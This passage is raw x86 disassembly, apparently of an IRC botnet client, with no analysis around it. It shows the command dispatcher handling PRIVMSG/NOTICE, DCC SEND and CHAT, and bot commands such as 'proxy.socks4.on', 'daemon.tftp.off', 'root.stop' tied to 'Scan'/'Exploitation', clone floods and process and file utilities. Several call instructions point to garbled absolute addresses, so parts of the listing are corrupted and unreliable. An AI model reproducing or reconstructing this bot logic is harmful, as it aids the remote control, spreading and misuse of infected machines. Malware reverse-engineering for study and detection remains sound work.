		test	eax, eax
		pop	ecx
		jz	short loc_40F42E


loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE


loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_4386DC


loc_40F422:				; CODE XREF: sub_40EE72+5B47j
					; sub_40EE72+5E96j ...
		call	sub_40BFE1
		pop	ecx


loc_40F428:				; CODE XREF: sub_40EE72+5FABj
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4386AC
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		cmp	dword_42F5B8, ebx
		jz	loc_414F47


loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi


loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_4386A0
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_43865C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	loc_40F7EF


loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_40F659
; ---------------------------------------------------------------------------


loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1


loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB


loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax


loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------


loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]


loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_438650
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_489DD0
		mov	eax, off_42F6C8[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_438634
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_489CDC


loc_40F7A0:				; CODE XREF: sub_40EE72+58C1j
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_438610
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_4385F8
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_4385B0
		jmp	loc_40F95B
; ---------------------------------------------------------------------------


loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_438560


loc_40F813:				; CODE XREF: sub_40EE72+6177j
					; sub_40EE72+61DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438528
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40F933


loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------


loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_4384E4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4384A4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438464


loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239


loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47


loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F47
		xor	edi, edi
		cmp	dword_4313B0, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_444340


loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4313B0
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------


loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_4387B8 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_444358[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_444340[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------


loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h


loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch


loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1


loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F


loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h


loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_438420 ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E


loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------


loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730C
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------


loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx


loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_438368


loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FEA
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_438344
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_438334
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_438328
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_438320
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_438314
		push	offset dword_438308
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4382E4
		push	offset dword_4382D4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_4382C8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_4382BC
		push	offset dword_4382B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_4382A0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_438294
		push	offset dword_438288
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_438278
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_43826C
		push	offset dword_438260
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_438250
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_438244
		push	offset dword_438238
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4


loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_43821C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_4381BC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_438194
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
